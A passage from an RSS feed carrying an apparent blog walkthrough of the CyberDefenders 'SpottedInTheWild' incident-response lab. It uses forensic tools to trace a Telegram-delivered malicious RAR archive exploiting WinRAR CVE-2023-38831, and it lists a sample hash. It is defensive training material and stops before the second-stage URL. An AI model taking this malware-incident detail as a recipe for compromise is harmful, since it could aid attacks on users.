&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;WhatIsMyIP — User Agent Lookup:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.whatismyip.net/tools/user-agent-lookup.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.whatismyip.net/tools/user-agent-lookup.php&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders  — SpottedInTheWild Blue Team Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/</link>
            <pubDate>Sun, 12 Oct 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/ba729aab9ee915e94871767f43d9ee31_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders  — SpottedInTheWild Blue Team Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefenders--spottedinthewild-blue-team-lab-walkthrough&#34;&gt;CyberDefenders — SpottedInTheWild Blue Team Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-windows-dfir-challenge-using-arsenal-image-mounter-ftk-imager-detect-it-easy-procmon-cyberchef-and-eric-zimmermans-tools&#34;&gt;A Windows DFIR Challenge Using Arsenal Image Mounter, FTK Imager, Detect It Easy, ProcMon, CyberChef, and Eric Zimmerman&amp;rsquo;s Tools&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;408px&#34; data-flex-grow=&#34;170&#34; height=&#34;234&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/ba729aab9ee915e94871767f43d9ee31_MD5.png&#34; width=&#34;398&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/spottedinthewild/?cta=navbar-sign-in&amp;amp;origin=%2Fblueteam-ctf-challenges%2Fspottedinthewild%2F&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/spottedinthewild/?cta=navbar-sign-in&amp;amp;origin=%2Fblueteam-ctf-challenges%2Fspottedinthewild%2F&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/spottedinthewild/?cta=navbar-sign-in&amp;amp;origin=%2Fblueteam-ctf-challenges%2Fspottedinthewild%2F&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;SpottedInTheWild&lt;/strong&gt;&lt;/a&gt; blue team challenge from &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This challenge is &lt;strong&gt;rated HARD&lt;/strong&gt; by the authors, but don&amp;rsquo;t let the difficulty rating scare you off. Whether you&amp;rsquo;re just getting started in digital forensics or you&amp;rsquo;ve been around the block a few times, this challenge has something for everyone.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;&lt;em&gt;You are part of the incident response team at FinTrust Bank. This morning, the network monitoring system flagged unusual outbound traffic patterns from several workstations. Preliminary analysis by the IT department has identified a potential compromise linked to an exploited vulnerability in WinRAR software.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;For this challenge, we&amp;rsquo;re putting on our incident response hats. Several workstations in the environment are showing suspicious outbound traffic, and it&amp;rsquo;s up to us to shed some light on the situation. Fortunately, we&amp;rsquo;re given a virtual hard disk for one of the devices, so we can dig into all the forensic artifacts, reconstruct a timeline, and determine what happened.&lt;/p&gt;&#xA;&lt;p&gt;This scenario pushes us to think creatively, pivot between tools, and piece together a full attack chain using a variety of forensic artifacts. We&amp;rsquo;ll be using a mix of &lt;strong&gt;Eric Zimmerman&amp;rsquo;s&lt;/strong&gt; forensic tools, &lt;strong&gt;FTK Imager&lt;/strong&gt;, &lt;strong&gt;CyberChef&lt;/strong&gt;, &lt;strong&gt;Detect It Easy&lt;/strong&gt;, and even a few public sandbox platforms like &lt;strong&gt;Any.Run&lt;/strong&gt; and &lt;strong&gt;VirusTotal&lt;/strong&gt; to validate our findings. If you&amp;rsquo;re using &lt;em&gt;Flare-VM&lt;/em&gt;, most of these tools are already built in and ready to go.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll walk through each step clearly, and by the end, you&amp;rsquo;ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;important-setup-a-safe-analysis-environment--extract-the-challenge-file&#34;&gt;Important: Setup a Safe Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It&amp;rsquo;s always important when working with lab/challenge files from &lt;strong&gt;CyberDefenders&lt;/strong&gt; &lt;em&gt;(or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I&amp;rsquo;m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;for this challenge which is&lt;/strong&gt; &amp;quot; # &amp;ldquo;a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).&amp;ldquo;To keep this write-up focused I&amp;rsquo;m going to skip the step-by-step setup of &lt;em&gt;FLARE-VM&lt;/em&gt; but _i_f you&amp;rsquo;d like to set up your own environment, please follow the directions provided directly by &lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  title=&#34;https://github.com/mandiant/flare-vm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that&amp;hellip;&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a&amp;hellip;_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-in-your-investigation-into-the-fintrust-bank-breach-you-found-an-application-that-was-the-entry-point-for-the-attack-which-application-was-used-to-download-the-malicious-file&#34;&gt;Question 1: In your investigation into the FinTrust Bank breach, you found an application that was the entry point for the attack. Which application was used to download the malicious file?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off our investigation and start digging into the provided artifacts. First, unzip the &lt;code&gt;166-SpottedInTheWild.zip&lt;/code&gt; archive from &lt;strong&gt;CyberDefenders&lt;/strong&gt; using the password provided on the challenge page.&lt;/p&gt;&#xA;&lt;p&gt;Once extracted, we&amp;rsquo;ll have access to the challenge file: &lt;code&gt;c125-SpottedInTheWild.vhd&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;730px&#34; data-flex-grow=&#34;304&#34; height=&#34;263&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/e7d6a7beea36a650927df13a22f68e6c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, what do we do with this thing? There are a variety of options, some of which we&amp;rsquo;ll explore during this investigation. As a first point of entry, we&amp;rsquo;ll leverage one of the suggested tools in the challenge, &lt;a class=&#34;link&#34; href=&#34;https://arsenalrecon.com/products/arsenal-image-mounter&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Arsenal Image Mounter&lt;/strong&gt;&lt;/a&gt;. &lt;em&gt;Arsenal&lt;/em&gt; gives us the ability to mount the virtual hard disk (&lt;code&gt;.VHD&lt;/code&gt;) file and view the contents of the file system so we can analyze the forensic artifacts contained within.&lt;/p&gt;&#xA;&lt;p&gt;Open &lt;em&gt;Arsenal&lt;/em&gt; and press the &lt;em&gt;Mount Disk Image&lt;/em&gt; button at the bottom. Select &lt;code&gt;c125-SpottedInTheWild.vhd&lt;/code&gt; and use the default mount options.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;344px&#34; data-flex-grow=&#34;143&#34; height=&#34;557&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/74b17a8e5f05b942e3812c75c18faae8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Arsenal: Selecting the default mount options&lt;/p&gt;&#xA;&lt;p&gt;Once it&amp;rsquo;s loaded, we&amp;rsquo;ll see the file listed in the center pane. As a shortcut, we can open the mounted directory by pressing the &lt;code&gt;F:\&lt;/code&gt; drive letter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;437px&#34; data-flex-grow=&#34;182&#34; height=&#34;439&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/a4f26c07dc7abfbb38e7e25f7682308d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Arsenal: Opening the mounted directory&lt;/p&gt;&#xA;&lt;p&gt;Now we can start checking out the contents of the challenge file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;426px&#34; data-flex-grow=&#34;177&#34; height=&#34;439&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/5169aea7a6b51209c27357ca1d793b5c_MD5.png&#34; width=&#34;780&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we need to determine which file is malicious and where it came from. A logical starting point is the Downloads folder, which we can access by opening the path &lt;code&gt;C\Users\Administrator\Downloads&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Inside that directory, we&amp;rsquo;ll find a folder named &lt;code&gt;Telegram Desktop&lt;/code&gt;, which contains a suspicious WinRAR archive: &lt;code&gt;SANS SEC401.rar&lt;/code&gt;. Something feels off&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;501px&#34; data-flex-grow=&#34;208&#34; height=&#34;383&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/1fa54fd710ae768c7d9cbfd4e003445b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the suspicious download&lt;/p&gt;&#xA;&lt;p&gt;This archive supposedly contains material from the SANS 401 Security Essentials course, but the folder name suggests it came from the &lt;em&gt;Telegram Desktop&lt;/em&gt; app, which is unusual. Since this is the only file in any of the download directories, it&amp;rsquo;s likely the malicious file used to gain initial access to the victim&amp;rsquo;s device. We&amp;rsquo;ll confirm this later in our investigation.&lt;/p&gt;&#xA;&lt;p&gt;For now, we can reasonably assume that &lt;em&gt;Telegram&lt;/em&gt; is the application used to download the file. We can confirm its presence on the system by navigating to &lt;code&gt;C\Users\Administrator\AppData\Roaming\Telegram Desktop&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;425px&#34; data-flex-grow=&#34;177&#34; height=&#34;451&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/23eee88388aad9b27df3b1f2ff9f86e7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Confirming the presence of Telegram Desktop on the victim device&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;786px&#34; data-flex-grow=&#34;327&#34; height=&#34;244&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/7987dd6a13bb539a2a2d6fb569c5c9aa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-finding-out-when-the-attack-started-is-critical-what-is-the-utc-timestamp-for-when-the-suspicious-file-was-first-downloaded&#34;&gt;Question 2: Finding out when the attack started is critical. What is the UTC timestamp for when the suspicious file was first downloaded?&#xA;&lt;/h3&gt;&lt;p&gt;Great! Now that we&amp;rsquo;ve positively identified the malicious file and its source, we need to grab the timestamp in UTC for when this file was first downloaded. This will help us start building out a timeline of the attack.&lt;/p&gt;&#xA;&lt;p&gt;There are several ways to approach this task, but for this walkthrough we&amp;rsquo;ll leverage the &lt;strong&gt;Master File Table (MFT)&lt;/strong&gt; artifact from the victim&amp;rsquo;s image. If this is a new artifact for you, here&amp;rsquo;s an excellent overview from the &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/harnessing-mft-parsing-for-incident-response-investigations/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt; blog:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In the Windows NTFS file system, the MFT is a database that stores metadata about every file on an NTFS file system volume. It contains records describing each file&amp;rsquo;s attributes, such as its name, size, &lt;strong&gt;timestamps&lt;/strong&gt;, permissions, and more.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The idea here is to use the &lt;code&gt;$MFT&lt;/code&gt; to grab the creation timestamp of the &lt;code&gt;Telegram Desktop&lt;/code&gt; folder, and to have this artifact loaded for later in the investigation.&lt;/p&gt;&#xA;&lt;p&gt;To analyze this artifact, we&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s MFTExplorer&lt;/strong&gt;&lt;/a&gt;, a graphical parser for the &lt;code&gt;$MFT&lt;/code&gt; that lets us explore its contents. If you&amp;rsquo;re following along using &lt;em&gt;Flare-VM&lt;/em&gt;, this tool is already built-in.&lt;/p&gt;&#xA;&lt;p&gt;Open &lt;em&gt;MFTExplorer&lt;/em&gt;, then go to &lt;em&gt;File &amp;gt; Load MFT&lt;/em&gt;, and select the victim&amp;rsquo;s &lt;code&gt;$MFT&lt;/code&gt; from the &lt;code&gt;C&lt;/code&gt; directory of the mounted file system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;501px&#34; data-flex-grow=&#34;208&#34; height=&#34;383&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/87063673149155f8976426ed0cd018e9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The location of the $MFT artifact on the victim image&lt;/p&gt;&#xA;&lt;p&gt;Once the &lt;code&gt;$MFT&lt;/code&gt; is open, navigate to the &lt;code&gt;C:\Users\Administrator\Downloads&lt;/code&gt; directory in the file tree. With the contents displayed, check the &lt;code&gt;SI_Created On&lt;/code&gt; column to grab the time this file was created (or downloaded) onto the disk. This is the timestamp we need to answer &lt;strong&gt;Question 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;481px&#34; data-flex-grow=&#34;200&#34; height=&#34;399&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/dddb824a208160213c15773a8e4d2601_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;MFTExplorer: Identifying the file creation time of Telegram Desktop&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;884px&#34; data-flex-grow=&#34;368&#34; height=&#34;217&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/fb0d8a042d6a3c737fe8e65d1c6b2e43_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-knowing-which-vulnerability-was-exploited-is-key-to-improving-security-what-is-the-cve-identifier-of-the-vulnerability-used-in-thisattack&#34;&gt;Question 3: Knowing which vulnerability was exploited is key to improving security. What is the CVE identifier of the vulnerability used in this attack?&#xA;&lt;/h3&gt;&lt;p&gt;Our next objective is to identify which vulnerability was used to carry out the attack. This is a great opportunity to pivot to an external threat intelligence platform so we can benefit from the research of the broader security community. But first, we need to obtain the file hash of the malicious archive.&lt;/p&gt;&#xA;&lt;p&gt;Jump back into the file explorer and navigate to the &lt;code&gt;Telegram Desktop&lt;/code&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;761px&#34; data-flex-grow=&#34;317&#34; height=&#34;252&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/26ebc5476adb7ecbd0c02a6663752ee8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To collect the hash of &lt;code&gt;SANS SEC401.rar&lt;/code&gt;, we can use PowerShell&amp;rsquo;s &lt;code&gt;Get-FileHash&lt;/code&gt; command:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1090px&#34; data-flex-grow=&#34;454&#34; height=&#34;176&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/183abe9264e1900801e9718ba1c1bac9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell: Computing the malware archive file hash&lt;/p&gt;&#xA;&lt;p&gt;D1A55BB98B750CE9B9D9610A857DDC408331B6AE6834C1CBCCCA4FD1C50C4FB8&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve obtained the SHA256 file hash, head over to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; and submit the hash in the search box. We&amp;rsquo;ll discover that this sample has already been submitted to the platform, and about half of the security vendors flag the archive as malicious. However, what we&amp;rsquo;re really interested in is one of the tags: &lt;em&gt;CVE-2023€“38831&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;637px&#34; data-flex-grow=&#34;265&#34; height=&#34;301&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/e7bc2b2a337e3c72aece820d054dc1ee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/d1a55bb98b750ce9b9d9610a857ddc408331b6ae6834c1cbccca4fd1c50c4fb8&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/d1a55bb98b750ce9b9d9610a857ddc408331b6ae6834c1cbccca4fd1c50c4fb8&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This CVE designation tells us that the file is potentially weaponized to exploit a vulnerability in the &lt;strong&gt;WinRAR&lt;/strong&gt; archive tool. For context, let&amp;rsquo;s take a look at the &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2023-38831&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;National Vulnerability Database&lt;/strong&gt;&lt;/a&gt; entry for this CVE:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;RARLAB WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive. The issue occurs because a ZIP archive may include a benign file (such as an ordinary .JPG file) and also a folder that has the same name as the benign file, and the contents of the folder (which may include executable content) are processed during an attempt to access only the benign file.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;That&amp;rsquo;s scary! This vulnerability is especially dangerous because the victim thinks they&amp;rsquo;re opening a harmless archive, but it could be weaponized to execute malicious code instead.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;918px&#34; data-flex-grow=&#34;382&#34; height=&#34;209&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/541ab7733ce76af1815fc35ec3861779_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-in-examining-the-downloaded-archive-you-noticed-a-file-in-with-an-odd-extension-indicating-it-might-be-malicious-what-is-the-name-of-thisfile&#34;&gt;Question 4: In examining the downloaded archive, you noticed a file in with an odd extension indicating it might be malicious. What is the name of this file?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have a better understanding of the &lt;code&gt;SANS SEC401.rar&lt;/code&gt; file, let&amp;rsquo;s try to open it and see what&amp;rsquo;s inside. Since we mounted the image using &lt;em&gt;Arsenal&amp;rsquo;s&lt;/em&gt; default settings, we&amp;rsquo;re in read-only mode — which means we&amp;rsquo;ll need to copy the file to our analysis file system to extract it.&lt;/p&gt;&#xA;&lt;p&gt;Full disclosure: when I exported the file from &lt;em&gt;Arsenal&lt;/em&gt;, I ran into some errors and couldn&amp;rsquo;t extract it. If it works for you — great! If not, join me for Plan B: mounting and extracting with &lt;a class=&#34;link&#34; href=&#34;https://www.exterro.com/digital-forensics-software/ftk-imager&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FTK Imager&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;FTK Imager&lt;/strong&gt; is another popular forensic tool used to create and read forensic disk images — and it&amp;rsquo;s also installed on &lt;em&gt;Flare-VM&lt;/em&gt;. Once you open &lt;em&gt;FTK&lt;/em&gt;, load the image by pressing: File &amp;gt; Add Evidence Item &amp;gt; Image File &amp;gt; Select &lt;code&gt;c125-SpottedInTheWild.vhd&lt;/code&gt; &amp;gt; Finish.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;436px&#34; data-flex-grow=&#34;181&#34; height=&#34;440&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/5098f10ab0c8e9e99085db6ba30d8b32_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: Exporting the malicious RAR file&lt;/p&gt;&#xA;&lt;p&gt;After it loads, you&amp;rsquo;ll see a familiar-looking file tree on the left-hand side. Navigate to the &lt;code&gt;C:\Users\Administrator\Downloads\Telegram Desktop&lt;/code&gt; directory and expand it. Right-click the &lt;code&gt;SANS SEC401.rar&lt;/code&gt; file and select &lt;em&gt;Export Files&amp;hellip;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1200px&#34; data-flex-grow=&#34;500&#34; height=&#34;160&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/5514c5e68c550b8cef48b6214567edeb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once it&amp;rsquo;s copied to your analysis environment, you can use a tool like &lt;strong&gt;7-Zip&lt;/strong&gt; to extract the contents and reveal the payload within.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;864px&#34; data-flex-grow=&#34;360&#34; height=&#34;222&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/b8d69a7b63f244e7ba67d152cad5e042_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-uncovering-the-methods-of-payload-delivery-helps-in-understanding-the-attack-vectors-used-what-is-the-url-used-by-the-attacker-to-download-the-second-stage-of-themalware&#34;&gt;Question 5: Uncovering the methods of payload delivery helps in understanding the attack vectors used. What is the URL used by the attacker to download the second stage of the malware?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 5&lt;/strong&gt;, let&amp;rsquo;s turn our attention to analyzing the &lt;code&gt;SANS 